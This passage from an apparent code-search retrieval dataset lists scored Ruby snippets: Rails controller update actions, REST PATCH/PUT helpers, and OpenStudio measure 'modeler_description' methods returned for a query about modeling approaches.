"text": "def patch(path, params: {}, headers: {})\n request_json :patch, path, params, headers\n end",
"title": ""
},
{
"docid": "fa16209f5ac39ae638cdf45c17fd5f18",
"score": "0.56183153",
"text": "def rest_patch(path, options = {}, api_ver = @api_version)\n rest_api(:patch, path, options, api_ver)\n end",
"title": ""
},
{
"docid": "fa16209f5ac39ae638cdf45c17fd5f18",
"score": "0.56183153",
"text": "def rest_patch(path, options = {}, api_ver = @api_version)\n rest_api(:patch, path, options, api_ver)\n end",
"title": ""
},
{
"docid": "2fe8dcd70dcf4d4f36cfc4d34321db89",
"score": "0.5617527",
"text": "def update\n respond_to do |format|\n if @builder.update builder_params\n format.html { redirect_to @builder, notice: 'Builder was successfully updated.' }\n format.json { render :show, status: :ok, location: @builder }\n else\n format.html { render :edit }\n format.json { render json: @builder.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1b94148dcf1d512731503aa9360bcbe5",
"score": "0.56086403",
"text": "def build_broken(build, previous_build)\n rest_put (build, :current_status => :failure)\n end",
"title": ""
},
{
"docid": "7f14968f11ec7851a0e6a0fa9d37cc28",
"score": "0.5607029",
"text": "def update(args)\n options = { body: args, basic_auth: { username: @api_key } }\n Try { self.class.post(\"/api/jobs/update.json\", options) }.to_either >-> response {\n if response.code == 200\n Right(response)\n else\n Left(response)\n end\n }\n end",
"title": ""
},
{
"docid": "0c1a09a9d20ee815b5c9f998eda70b44",
"score": "0.5599025",
"text": "def patch(path, params = {}, options = {})\n options[:content_type] ||= :json\n options[:Authorization] = \"simple-token #{self.access_token}\"\n RestClient.patch(request_url(path), params.to_json, options)\n end",
"title": ""
},
{
"docid": "93bb8c6e5006db357030f976b7c72b20",
"score": "0.5597881",
"text": "def update\n task.update_attributes(params[:task] || params[:build])\n render :nothing => true\n end",
"title": ""
},
{
"docid": "bd9ab1132de10ed9da4a7f169979803b",
"score": "0.55893564",
"text": "def update_job_success(job_id, success)\n RestClient.put \"#{rest_jobs_url}/#{job_id}\", {\"passed\" => success}.to_json, :content_type => :json\nend",
"title": ""
},
{
"docid": "bd9ab1132de10ed9da4a7f169979803b",
"score": "0.55893564",
"text": "def update_job_success(job_id, success)\n RestClient.put \"#{rest_jobs_url}/#{job_id}\", {\"passed\" => success}.to_json, :content_type => :json\nend",
"title": ""
},
{
"docid": "47abb2cddfa1a665018f717cdaaa4164",
"score": "0.55879885",
"text": "def update!(params)\n res = @client.put(path, {}, params, \"Content-Type\" => \"application/json\")\n\n @attributes = res.json if res.status == 201\n end",
"title": ""
},
{
"docid": "5d727ca1c12eb66b9dcb4de63d4a7968",
"score": "0.55877846",
"text": "def update\n respond_to do |format|\n if @builder.update(builder_params)\n format.html { redirect_to @builder, notice: 'Builder was successfully updated.' }\n format.json { render :show, status: :ok, location: @builder }\n else\n format.html { render :edit }\n format.json { render json: @builder.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3cd079fe107e8f07769b42bc9dfd831e",
"score": "0.5586922",
"text": "def set_pokebuild\n @pokebuild = Pokebuild.find(params[:id])\n end",
"title": ""
},
{
"docid": "9d72302bc12e3c8440c5cdd35fdc604c",
"score": "0.5574594",
"text": "def update_job_success(job_id, success)\n RestClient.put \"#{rest_jobs_url}/#{job_id}\", { 'passed' => success }.to_json, :content_type => :json\nend",
"title": ""
},
{
"docid": "5c4378985abadb29e6091bd9411925ff",
"score": "0.5573289",
"text": "def update\n @bilder = Bilder.find(params[:id])\n\n respond_to do |format|\n if @bilder.update_attributes(params[:bilder])\n format.html { redirect_to @bilder, notice: 'Bilder was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bilder.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4ecea7ed559f5261597f189d6aab9c27",
"score": "0.5556614",
"text": "def update\n @test_distrubuted_build = TestDistrubutedBuild.find(params[:id])\n\n respond_to do |format|\n if @test_distrubuted_build.update_attributes(params[:test_distrubuted_build])\n format.html { redirect_to @test_distrubuted_build, notice: 'Test distrubuted build was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @test_distrubuted_build.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f817af5e32555c11f0b1fcf168b31e22",
"score": "0.555422",
"text": "def update!(**args)\n @buildings = args[:buildings] if args.key?(:buildings)\n @etag = args[:etag] if args.key?(:etag)\n @kind = args[:kind] if args.key?(:kind)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n end",
"title": ""
},
{
"docid": "c3b2a215e4aa77de0042da85a3f8c70e",
"score": "0.5550475",
"text": "def update!(**args)\n @cloud_build_id = args[:cloud_build_id] if args.key?(:cloud_build_id)\n end",
"title": ""
},
{
"docid": "c3b2a215e4aa77de0042da85a3f8c70e",
"score": "0.5550475",
"text": "def update!(**args)\n @cloud_build_id = args[:cloud_build_id] if args.key?(:cloud_build_id)\n end",
"title": ""
},
{
"docid": "c3b2a215e4aa77de0042da85a3f8c70e",
"score": "0.5550475",
"text": "def update!(**args)\n @cloud_build_id = args[:cloud_build_id] if args.key?(:cloud_build_id)\n end",
"title": ""
},
{
"docid": "e7f8ee5641911e33622dcbebcce61d0d",
"score": "0.5543565",
"text": "def update\n @project.update_attributes!(project_params)\n json_response(@project)\n end",
"title": ""
},
{
"docid": "2f9fcc27bb1ba91117ed3a7285d4f949",
"score": "0.55365646",
"text": "def update_pull_request(*args); end",
"title": ""
},
{
"docid": "59185f055894d4715bda24b38e9c0147",
"score": "0.5529852",
"text": "def update\n respond_to do |format|\n if @build_truck.update(build_truck_params)\n format.html { redirect_to @build_truck, notice: 'Build truck was successfully updated.' }\n format.json { render :show, status: :ok, location: @build_truck }\n else\n format.html { render :edit }\n format.json { render json: @build_truck.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5c7a36ba5913b7ad0b59370b7835bcd7",
"score": "0.5522058",
"text": "def update!(**args)\n @parent = args[:parent] if args.key?(:parent)\n @requests = args[:requests] if args.key?(:requests)\n end",
"title": ""
},
{
"docid": "5c7a36ba5913b7ad0b59370b7835bcd7",
"score": "0.5522058",
"text": "def update!(**args)\n @parent = args[:parent] if args.key?(:parent)\n @requests = args[:requests] if args.key?(:requests)\n end",
"title": ""
},
{
"docid": "5c7a36ba5913b7ad0b59370b7835bcd7",
"score": "0.5522058",
"text": "def update!(**args)\n @parent = args[:parent] if args.key?(:parent)\n @requests = args[:requests] if args.key?(:requests)\n end",
"title": ""
},
{
"docid": "db4ae434cb8c00abfbff7270adf3f272",
"score": "0.55199385",
"text": "def update\n @jogo = Jogo.find(params[:id])\n\n respond_to do |format|\n if @jogo.update_attributes(params[:jogo])\n format.html { redirect_to @jogo, :notice => 'Jogo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @jogo.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d6dfebe971b10897bcfe98f1998c8e54",
"score": "0.5515335",
"text": "def update\n @project = Project.find(params[:project_id])\n @version = Version.find(params[:id])\n\n respond_to do |format|\n if @version.update_attributes(params[:version])\n format.html { redirect_to [@project,@version], notice: 'Version was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @version.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "77ce27989a6eb1263af612ecffa00850",
"score": "0.55148053",
"text": "def update\n update! do |success, failure|\n success.json { render :json => resource }\n end\n end",
"title": ""
},
{
"docid": "068880fb942c0a6535901a7de7aaf9cb",
"score": "0.551085",
"text": "def update\n respond_to do |format|\n if @other_building.update(other_building_params)\n format.html { redirect_to @other_building, notice: 'Other building was successfully updated.' }\n format.json { render :show, status: :ok, location: @other_building }\n else\n format.html { render :edit }\n format.json { render json: @other_building.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d0a13a11dcdaba98f04e01475156e6d5",
"score": "0.5509311",
"text": "def update\n @build_compact = BuildCompact.find(params[:id])\n\n respond_to do |format|\n if @build_compact.update_attributes(params[:build_compact])\n format.html { redirect_to @build_compact, notice: 'Build compact was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @build_compact.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8924de16d5b68934713e2dc8e2cbab54",
"score": "0.5491989",
"text": "def issue_update(issue, edit_opts = {})\n # always ensure we are logged in first\n ensure_logged_in\n\n\n json = {\n :update => {}\n }\n\n edit_opts[:fields].keys.each do |f|\n json[:update][f] = [ { :set => edit_opts[:fields][f] } ]\n end\n\n edit_opts[:customfields].andand.each_pair do |n,cf|\n json[:fields][n] = cf\n end\n\n if edit_opts[:commentText]\n json[:update][:comment] = [ {\n :add => {\n :body => edit_opts[:commentText]\n }\n } ]\n end\n\n # If we are updating priority, need to fetch its ID\n if edit_opts[:priority]\n priorities = json_get(\"rest/api/#{@api_version}/priority\")\n priority_name = nil\n priority_id = nil\n priorities.each do |p|\n if p[:name].match(Regexp.new(edit_opts[:priority], Regexp::IGNORECASE))\n @log.debug(\"Matched priority name #{p[:name]}\")\n priority_name = p[:name]\n priority_id = p[:id]\n break\n end\n end\n if priority_name.nil?\n @log.error \"Unable to find priority for #{edit_opts[:priority]}, ignoring!\"\n else\n json[:update][:priority] = [ { :set => {:id => priority_id} } ]\n end\n end\n\n # If we are updating components, need to fetch the possibilities\n if !edit_opts[:components].andand.empty?\n # create the container\n json[:update][:components] = []\n components = json_get(\"rest/api/#{@api_version}/project/#{issue[:fields][:project][:key]}/components\")\n\n # for each component, figure out if we are adding or removing and match to an ID\n edit_opts[:components].each do |current_component|\n operation = :add\n current_component.gsub!(/^\\+/, '')\n if current_component.match(/^-/)\n operation = :remove\n current_component.gsub!(/^-/, '')\n end\n\n found = false\n components.each do |c|\n if c[:name].match(Regexp.new(current_component, Regexp::IGNORECASE))\n @log.debug(\"Matched component #{operation} => #{c[:name]} for regex #{current_component}\")\n json[:update][:components] << { operation => { :id => c[:id] } }\n found = true\n break\n end\n end\n if !found\n @log.error \"Unable to find component for #{current_component}, ignoring!\"\n end\n end\n end\n\n # If we are updating issuetype, need to fetch the possibilities\n if !edit_opts[:issuetype].andand.empty?\n found_issue_type = nil\n match = false\n issuetypes = json_get(\"rest/api/#{@api_version}/issue/createmeta?projectKeys=#{issue[:fields][:project][:key]}\")[:projects].first[:issuetypes]\n issuetypes.sort {|a,b| a[:id].to_i <=> b[:id].to_i }.each do |issuetype|\n @log.debug \"Found issuetype: #{issuetype[:name]}\"\n\n if issuetype[:name].match(Regexp.new(edit_opts[:issuetype] || \".\", Regexp::IGNORECASE))\n found_issue_type = issuetype\n match = true\n break\n end\n end\n\n if match\n json[:fields] = {} if json[:fields].nil?\n json[:fields][:issuetype] = { :id => found_issue_type[:id] }\n # XXX: Note that if the issue was a non-sub-task and we are\n # converting to a sub-task type, the call will fail (with a very\n # unhelpful error message \"Issue type is a sub-task but parent\n # issue key or id not specified.\"). This is because the REST API\n # does not support this. See:\n # https://jira.atlassian.com/browse/JRA-27893\n # Leaving this stuff in here anyways in case they ever fix it,\n # and also so we can re-parent existing subtasks, or switch\n # between two issue types where both are subtask or non-subtask.\n @log.debug(\"Matched issue type #{found_issue_type[:name]} with regex #{edit_opts[:issuetype]}\")\n if !edit_opts[:parent].nil?\n @log.debug(\"Including parent key #{edit_opts[:parent]}\")\n json[:fields][:parent] = { :key => edit_opts[:parent] }\n end\n else\n raise Atlassian::IllegalArgumentError.new(\"Unable to find matching issue type for regex #{edit_opts[:issuetype]}\")\n end\n end\n\n # If we are updating fixversions, need to fetch the possibilities\n if !edit_opts[:fixversions].andand.empty?\n # create the container\n # ARGH! the key \"fixVersions\" isn't listed in the editmeta API\n # call output...but it works (as of jira 5.2.11 anyways). and YES,\n # it is case senstiive. awesome.\n json[:update][:fixVersions] = []\n fixversions = json_get(\"rest/api/#{@api_version}/project/#{issue[:fields][:project][:key]}/versions\")\n\n # for each fixversion, figure out if we are adding or removing and match to an ID\n edit_opts[:fixversions].each do |current_fixversion|\n operation = :add\n current_fixversion.gsub!(/^\\+/, '')\n if current_fixversion.match(/^-/)\n operation = :remove\n current_fixversion.gsub!(/^-/, '')\n end\n\n found = false\n fixversions.each do |f|\n if f[:name].match(Regexp.new(current_fixversion, Regexp::IGNORECASE))\n @log.debug(\"Matched fixversion #{operation} => #{f[:name]} for regex #{current_fixversion}\")\n json[:update][:fixVersions] << { operation => { :id => f[:id] } }\n found = true\n break\n end\n end\n if !found\n @log.error \"Unable to find fixversion for #{current_fixversion}, ignoring!\"\n end\n end\n end\n\n # If we are updating affectsversions, need to fetch the possibilities\n if !edit_opts[:affectsversions].andand.empty?\n # create the container\n json[:update][:versions] = []\n affectsversions = json_get(\"rest/api/#{@api_version}/project/#{issue[:fields][:project][:key]}/versions\")\n\n # for each affectsversion, figure out if we are adding or removing and match to an ID\n edit_opts[:affectsversions].each do |current_affectsversion|\n operation = :add\n current_affectsversion.gsub!(/^\\+/, '')\n if current_affectsversion.match(/^-/)\n operation = :remove\n current_affectsversion.gsub!(/^-/, '')\n end\n\n found = false\n affectsversions.each do |f|\n if f[:name].match(Regexp.new(current_affectsversion, Regexp::IGNORECASE))\n @log.debug(\"Matched affectsversion #{operation} => #{f[:name]} for regex #{current_affectsversion}\")\n json[:update][:versions] << { operation => { :id => f[:id] } }\n found = true\n break\n end\n end\n if !found\n @log.error \"Unable to find affectsversion for #{current_affectsversion}, ignoring!\"\n end\n end\n end\n\n if edit_opts[:assignee]\n # get the list of assignable people for this issue\n assignees = json_get(\"rest/api/#{@api_version}/user/assignable/search?issueKey=#{issue[:key]}&maxResults=2&username=#{URI.escape(edit_opts[:assignee])}\")\n\n if (assignees.size != 1)\n @log.error \"Unable to find UNIQUE assignee for #{edit_opts[:assignee]}, ignoring (try a larger substring, check spelling?)\"\n @log.error \"Candidates: \" + assignees.map {|x| x[:name] }.join(\", \")\n else\n json[:update][:assignee] = [{ :set => { :name => assignees.first[:name] } } ]\n end\n end\n\n response = json_put(\"rest/api/#{@api_version}/issue/#{issue[:key]}\", json)\n @log.info \"Successfully updated issue #{issue[:key]}\"\n response\n end",
"title": ""
},
{
"docid": "f6e36a046ca76c3e8d2fb8d25e405b74",
"score": "0.5491921",
"text": "def update\n respond_to do |format|\n if @rebuild.update(rebuild_params)\n format.html { redirect_to @rebuild, notice: 'Rebuild was successfully updated.' }\n format.json { render :show, status: :ok, location: @rebuild }\n else\n format.html { render :edit }\n format.json { render json: @rebuild.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e8cfdce5b0eeeba4fc38e063721573ed",
"score": "0.5487646",
"text": "def update\n @jogo = Jogo.find(params[:id])\n \n respond_to do |format|\n if (@jogo.update_attributes(params[:jogo]))\n \n # format.json { render :json => { :success => true, :jogo_id => @jogo.id, :perguntas => new_perguntas, :respostas => new_respostas }, :status => :created, :location => @jogo }\n\n format.html { redirect_to @jogo, :notice => 'Jogo was successfully updated.' }\n else\n render :edit\n end\n end\n end",
"title": ""
},
{
"docid": "6b3d6af3e1ade5f41124866b57a6b326",
"score": "0.548008",
"text": "def patch(path, **args); end",
"title": ""
},
{
"docid": "e4e4236899909bcc8ed2285a76d71d17",
"score": "0.54794294",
"text": "def update\n @build_result = BuildResult.find(params[:id])\n\n respond_to do |format|\n if @build_result.update_attributes(params[:build_result])\n format.html { redirect_to @build_result, notice: 'Build result was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @build_result.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "449a3c301583a54c34cfaba3003f98da",
"score": "0.547519",
"text": "def update\n @build_mirror = BuildMirror.find(params[:id])\n\n respond_to do |format|\n if @build_mirror.update_attributes(params[:build_mirror])\n format.html { redirect_to @build_mirror, notice: 'Build mirror was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @build_mirror.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2c5497f059ab1d7457ffc834ecb8f6a2",
"score": "0.5474442",
"text": "def patch(path, params = {})\n request(:patch, path, params)\n end",
"title": ""
},
{
"docid": "0c450ff7595e8a47570862d824a5f671",
"score": "0.54736054",
"text": "def update\n respond_to do |format|\n if @build_list.update(build_list_params)\n format.html { redirect_to @build_list, notice: 'Build list was successfully updated.' }\n format.json { render :show, status: :ok, location: @build_list }\n else\n format.html { render :edit }\n format.json { render json: @build_list.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b4fbe2bb4554c75214ec612a847f458e",
"score": "0.54646474",
"text": "def update_tenant_circle(args = {}) \n id = args['id']\n temp_path = \"/tenantcircles.json/{circleId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"tenantcircleId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"title": ""
},
{
"docid": "e15731aafdc7c8c3dcc68ab0b4b89ab9",
"score": "0.5462389",
"text": "def update\n respond_to do |format|\n if @building.update(admin_building_params)\n format.html { redirect_to admin_building_path(@building), notice: 'Building was successfully updated.' }\n format.json { render :show, status: :ok, location: @building }\n else\n format.html { render :edit }\n format.json { render json: @building.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cec89e79832cee42401b48fdb243ec42",
"score": "0.545631",
"text": "def update\n @project_id = params[:id]\n @project = Project.find(params[:id])\n\n if @project.update_attributes(params[:project])\n render :json => {:success => true}\n else\n render :json => {:failure => true}\n end\n end",
"title": ""
},
{
"docid": "42e4d81ce0f91ce996dcbc347df2958d",
"score": "0.5452192",
"text": "def update\n @response = self.class.put(\"#{@server_uri}/resource_name/#{@opts[:id]}.json\", :body => \"{'resource_form_name':#{JSON.generate(@opts)}}\")\n end",
"title": ""
},
{
"docid": "33120da849a933a08c0bd08e3fe55425",
"score": "0.5450093",
"text": "def update\n respond_to do |format|\n if @pull_request.update(pull_request_params)\n format.html { redirect_to @pull_request, notice: 'PullRequest was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @pull_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1ccd064902bda09d4ae7f92d826f3d43",
"score": "0.54484737",
"text": "def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.json { head :no_content }\n else\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2d5dc23a513bbc7e45aefe91ad790e49",
"score": "0.54378265",
"text": "def set_or_update_arrays_for_floorplan(args = {}) \n id = args['id']\n temp_path = \"/floorplans.json/{floorplanId}/arrays\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"floorplanId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"title": ""
},
{
"docid": "b34b73e00c1ee0badecb6adf75b8fab2",
"score": "0.54319423",
"text": "def update\n respond_to do |format|\n if @kernel_build.update(kernel_source: @kernel_source, kernel_config: @kernel_config)\n format.html { redirect_to @kernel_build, notice: \"Kernel build was successfully updated.\" }\n format.json { render :show, status: :ok, location: @kernel_build }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @kernel_build.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2562194eda10f9e580b3a59267fb73b2",
"score": "0.54291564",
"text": "def update!\n request_ids.shift\n return unless request_ids.empty?\n\n node = @root.render\n `PATCHER(#{root.node}, #{node})`\n @root.node = node\n end",
"title": ""
},
{
"docid": "97e2f9f7f20d3af91e4ddcd2274b2eb9",
"score": "0.54164267",
"text": "def update\n respond_to do |format|\n if @build_task.update(build_task_params)\n format.html { redirect_to set_task_build_task_path(@build_task.set_task, @build_task), notice: 'Build task was successfully updated.' }\n format.json { render :show, status: :ok, location: @build_task }\n else\n format.html { render :edit }\n format.json { render json: @build_task.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "74598e0a3aa41ab3fe0f8ee018160a23",
"score": "0.541235",
"text": "def update\n respond_to do |format|\n if @build_template.update(build_template_params)\n format.html { redirect_to @build_template, notice: 'Build template was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @build_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "931f17c5c899a79322a439bd3a6eca7b",
"score": "0.5412143",
"text": "def update\n @patch = Patch.find(params[:id])\n\n respond_to do |format|\n if @patch.update_attributes(params[:patch])\n format.html { redirect_to @patch, notice: 'Patch was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @patch.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "74c22e25156a724aa249dda7810eb33d",
"score": "0.54119116",
"text": "def put_build(opts, _args)\n id = build_id!\n data = {\n builder: Data.fetch('build.builder', 'unknown'),\n builder_url: Data.fetch('build.builder_url', ''),\n repository: Data.fetch('build.repository', nil),\n revision: Data.fetch('build.revision', nil),\n branch: Data.fetch('build.branch', nil),\n }\n put_build_data id, data\n end",
"title": ""
},
{
"docid": "343c31af471c3a68b2e886612fe8fdd7",
"score": "0.54074955",
"text": "def update\n respond_to do |format|\n\n edit_helper()\n\n updated = @building.update(building_params)\n\n if updated\n format.html { redirect_to @building, notice: flash[:notice] || 'Building was successfully updated.' }\n format.json { render :show, status: :ok, location: @building }\n else\n format.html { render :edit, notice: 'Unable to update building.' }\n format.json { render json: @building.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "dcb516bfa249012d05431156e3fad6a3",
"score": "0.540717",
"text": "def update!(**args)\n @requests = args[:requests] if args.key?(:requests)\n end",
"title": ""
},
{
"docid": "dcb516bfa249012d05431156e3fad6a3",
"score": "0.540717",
"text": "def update!(**args)\n @requests = args[:requests] if args.key?(:requests)\n end",
"title": ""
},
{
"docid": "dcb516bfa249012d05431156e3fad6a3",
"score": "0.540717",
"text": "def update!(**args)\n @requests = args[:requests] if args.key?(:requests)\n end",
"title": ""
},
{
"docid": "dcb516bfa249012d05431156e3fad6a3",
"score": "0.540717",
"text": "def update!(**args)\n @requests = args[:requests] if args.key?(:requests)\n end",
"title": ""
},
{
"docid": "dcb516bfa249012d05431156e3fad6a3",
"score": "0.540717",
"text": "def update!(**args)\n @requests = args[:requests] if args.key?(:requests)\n end",
"title": ""
},
{
"docid": "dcb516bfa249012d05431156e3fad6a3",
"score": "0.540717",
"text": "def update!(**args)\n @requests = args[:requests] if args.key?(:requests)\n end",
"title": ""
},
{
"docid": "dcb516bfa249012d05431156e3fad6a3",
"score": "0.540717",
"text": "def update!(**args)\n @requests = args[:requests] if args.key?(:requests)\n end",
"title": ""
},
{
"docid": "dcb516bfa249012d05431156e3fad6a3",
"score": "0.540717",
"text": "def update!(**args)\n @requests = args[:requests] if args.key?(:requests)\n end",
"title": ""
},
{
"docid": "dcb516bfa249012d05431156e3fad6a3",
"score": "0.540717",
"text": "def update!(**args)\n @requests = args[:requests] if args.key?(:requests)\n end",
"title": ""
},
{
"docid": "dcb516bfa249012d05431156e3fad6a3",
"score": "0.540717",
"text": "def update!(**args)\n @requests = args[:requests] if args.key?(:requests)\n end",
"title": ""
}
] |
cf25cf4b40737a9654ec807f453e7f05 | human readable description of modeling approach | [
{
"docid": "321292903154a74c8947cd777e7886a1",
"score": "0.0",
"text": "def modeler_description\n return 'This measure will test the BCL gem'\n end",
"title": ""
}
] | [
{
"docid": "23c6c36d104147cc2f9b0bbe41f6db81",
"score": "0.7360922",
"text": "def modeler_description\r\n return \"This model is only applied to heating coil of water system\"\r\n end",
"title": ""
},
{
"docid": "a042ed207268bf5f87441de34032850a",
"score": "0.7314063",
"text": "def modeler_description\r\n return \"This model is only applied to air loop\"\r\n end",
"title": ""
},
{
"docid": "b3cd5b403d906c932e438dee6e9925ee",
"score": "0.7275348",
"text": "def modeler_description\n return \"ipsum\"\n end",
"title": ""
},
{
"docid": "2f95a8e5c79e1f41f17786b0dd66a2b2",
"score": "0.7241703",
"text": "def modeler_description\n return 'This is simple implementation ment to expose the object to users. More complex use case specific versions will likely be developed in the future that may add multiple zone ventilation objects as well as zone mixing objects'\n end",
"title": ""
},
{
"docid": "2f95a8e5c79e1f41f17786b0dd66a2b2",
"score": "0.7241703",
"text": "def modeler_description\n return 'This is simple implementation ment to expose the object to users. More complex use case specific versions will likely be developed in the future that may add multiple zone ventilation objects as well as zone mixing objects'\n end",
"title": ""
},
{
"docid": "676f6fbbbd18435070f63e68ba79fe0c",
"score": "0.7240161",
"text": "def modeler_description\n return 'The intent of this measure is to provide a measure is to provide a way in a single analysis to use a collection of custom seed models. Your real seed model woudl be an empty model, maybe containing custom weather data and simulation settings, then you would have a variety of models with pre-generated builiding envelopes to choose from. They custom seeds coudl jsut have surraes, or could contain constructions, schedules, and loads.'\n end",
"title": ""
},
{
"docid": "676f6fbbbd18435070f63e68ba79fe0c",
"score": "0.7240161",
"text": "def modeler_description\n return 'The intent of this measure is to provide a measure is to provide a way in a single analysis to use a collection of custom seed models. Your real seed model woudl be an empty model, maybe containing custom weather data and simulation settings, then you would have a variety of models with pre-generated builiding envelopes to choose from. They custom seeds coudl jsut have surraes, or could contain constructions, schedules, and loads.'\n end",
"title": ""
},
{
"docid": "f4c1daf26183fb4cbdf11e15019f67e3",
"score": "0.72245806",
"text": "def modeler_description\n return \"A string argument is used to identify the external model that is being merged into the current model. user agrument determine which kind of objets are brought over from the external model. Some characteristics that can be merged are surfaces, shading surface groups, interior partition groups, daylight controls, and internal loads. Additionally thermal zone, space space type, building story, construction set, and schedule set assignments names will can taken from the space, but objets they represent won't be cloned if objects by that name already exist in the current model.\"\n end",
"title": ""
},
{
"docid": "7091037efda6164b5bda0ba42223a4a0",
"score": "0.71844083",
"text": "def modeler_description\n return \"See above\"\n end",
"title": ""
},
{
"docid": "286489db2b07afbc30a369bb6ad604f8",
"score": "0.71577597",
"text": "def modeler_description\n return \"Uses EMS to model the building airflow.\"\n end",
"title": ""
},
{
"docid": "e55cd826d5891495410adaf0436f5a2f",
"score": "0.71569866",
"text": "def modeler_description\n return 'Uses EMS to model the building airflow.'\n end",
"title": ""
},
{
"docid": "e5347656b95e460502811b2af3df4f68",
"score": "0.71355575",
"text": "def modeler_description\n return 'This initial use case of this is to cleanup EMS added by prototype measure before running create typical building from model after it. This is probably only ncessary when chaning HVAC is selected'\n end",
"title": ""
},
{
"docid": "ca33d13df573cc7f297f3f5fca1119d1",
"score": "0.7132097",
"text": "def modeler_description\n return 'Change the thermal behavior of Construction with Internal Source '\n end",
"title": ""
},
{
"docid": "7e7a7d7c5e9fc22c86ffafcd90c07bde",
"score": "0.7074089",
"text": "def modeler_description\r\n return \"Run a simulation to autosize HVAC equipment and then apply these autosized values back to the model.\"\r\n end",
"title": ""
},
{
"docid": "614ce6962c1a34b01e272bf7537f6c0a",
"score": "0.7069154",
"text": "def modeler_description\n return \"HVAC system creation logic uses [openstudio-standards](https://github.com/NREL/openstudio-standards) and efficiency values are defined in the openstudio-standards Standards spreadsheet under the *NREL ZNE Ready 2017* template.\"\n end",
"title": ""
},
{
"docid": "f2bd3e85651168771be00485b8a07cc3",
"score": "0.7067547",
"text": "def modeler_description\r\n return \"Rainwater tank overflow will be dirrected to drainage. Site precipitation is discreibed in m^3 and examples files can found at E+ installation subfoldr: \\DataSets\\PrecipitationSchedulesUSA.idf\"\r\n end",
"title": ""
},
{
"docid": "d6c97b213ac07451295b44398ca74f48",
"score": "0.7062962",
"text": "def modeler_description\n return 'This is mockup for UrbanOpt, where footprint shape will come from geojson.'\n end",
"title": ""
},
{
"docid": "d6c97b213ac07451295b44398ca74f48",
"score": "0.7062962",
"text": "def modeler_description\n return 'This is mockup for UrbanOpt, where footprint shape will come from geojson.'\n end",
"title": ""
},
{
"docid": "89ecc2e41eabf8a989e2ea31b08d2db5",
"score": "0.70609915",
"text": "def modeler_description\n return \"Lighting should be stacked value unless we add uncertainty. Equipment and people will vary based on information provided by tenant, and infiltration will be used for uncertainty. Schedules will be addressed in a separate measure that creates parametric schedules based on hours of operation.\"\n end",
"title": ""
},
{
"docid": "afc4c0913f15a3b6628cc80a26d9c2f1",
"score": "0.7038001",
"text": "def modeler_description\n return 'It is important that the template argument chosen for this measure is in line with the building types for the stub space types of the model passed in.'\n end",
"title": ""
},
{
"docid": "da4416320377a679df36b83cdf96ffe4",
"score": "0.7033788",
"text": "def modeler_description\n return \"The use case for this is a lights definition that is not used in the baseline but will be used after other measures are run. For example using the 'Swap Lights Definition' measure.\"\n end",
"title": ""
},
{
"docid": "c652e7af681b0380c3b6b3767ed8a623",
"score": "0.7001455",
"text": "def modeler_description\n return \"Collects all Information required for BTAP runs.\"\n end",
"title": ""
},
{
"docid": "99f24318ac3f20579b27bb8779a0e0dd",
"score": "0.69880337",
"text": "def modeler_description\r\n return \"Reads the model and sql file to pull out the necessary information and run the model checks. The check results show up as warning messages in the measure's output on the PAT run tab.\"\r\n end",
"title": ""
},
{
"docid": "0e4c1fed84bf9c771a64f2ca08efb847",
"score": "0.69846",
"text": "def modeler_description\n return \"Reporting measure to output relevant cooling system information\"\n end",
"title": ""
},
{
"docid": "2ba7aed851c0d5566019da658ba2281b",
"score": "0.69837093",
